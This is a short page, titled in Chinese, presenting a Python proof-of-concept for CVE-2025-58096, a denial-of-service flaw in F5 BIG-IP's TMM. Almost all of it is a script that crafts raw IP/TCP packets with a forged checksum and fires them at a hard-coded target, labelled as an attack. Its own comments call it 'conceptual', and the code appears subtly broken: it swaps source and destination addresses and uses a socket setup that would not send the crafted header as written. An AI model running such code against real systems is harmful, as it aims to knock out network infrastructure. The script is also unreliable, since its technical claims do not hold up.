CVE-2025-58096 F5 BIG-IP TMM拒绝服务漏洞

# CVE-2025-58096 - F5 BIG-IP TMM DoS PoC # This PoC demonstrates how to trigger TMM termination via crafted network traffic # when tm.tcpudptxchecksum is set to "Software-only" mode. # Note: This is a conceptual PoC. Actual exploitation requires specific packet crafting # targeting the checksum calculation path in TMM. import socket import struct import sys TARGET_HOST = "192.168.1.100" # BIG-IP Virtual Server IP TARGET_PORT = 443 # Target service port def craft_malicious_packet(): """ Craft a network packet designed to trigger the vulnerability in TMM's software-based checksum processing path. """ # IP Header ip_header = struct.pack( '!BBHHHBBH4s4s', 0x45, # Version + IHL 0x00, # DSCP/ECN 0x0028, # Total Length (40 bytes) 0x1234, # Identification 0x4000, # Flags + Fragment Offset (Don't Fragment) 64, # TTL 6, # Protocol (TCP) 0, # Header Checksum (will calculate) socket.inet_aton(TARGET_HOST), socket.inet_aton("10.0.0.1") ) # TCP Header with crafted checksum to trigger vulnerability tcp_header = struct.pack( '!HHIIBBHHH', 443, # Source Port TARGET_PORT, # Destination Port 0x00000001, # Sequence Number 0x00000000, # Acknowledgment Number 0x50, # Data Offset (5 words) 0x18, # Flags (PSH+ACK) 65535, # Window Size 0xFFFF, # Checksum (crafted to trigger bug) 0x0000 # Urgent Pointer ) return ip_header + tcp_header def trigger_dos(): """Send crafted packets to trigger TMM termination""" print(f"[*] Targeting BIG-IP at {TARGET_HOST}:{TARGET_PORT}") print("[*] Sending crafted packets to trigger CVE-2025-58096...") sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) for i in range(10): try: packet = craft_malicious_packet() sock.sendto(packet, (TARGET_HOST, TARGET_PORT)) print(f"[+] Packet {i+1} sent") except Exception as e: print(f"[-] Error: {e}") break print("[*] Attack completed. Check target TMM status.") if __name__ == "__main__": trigger_dos()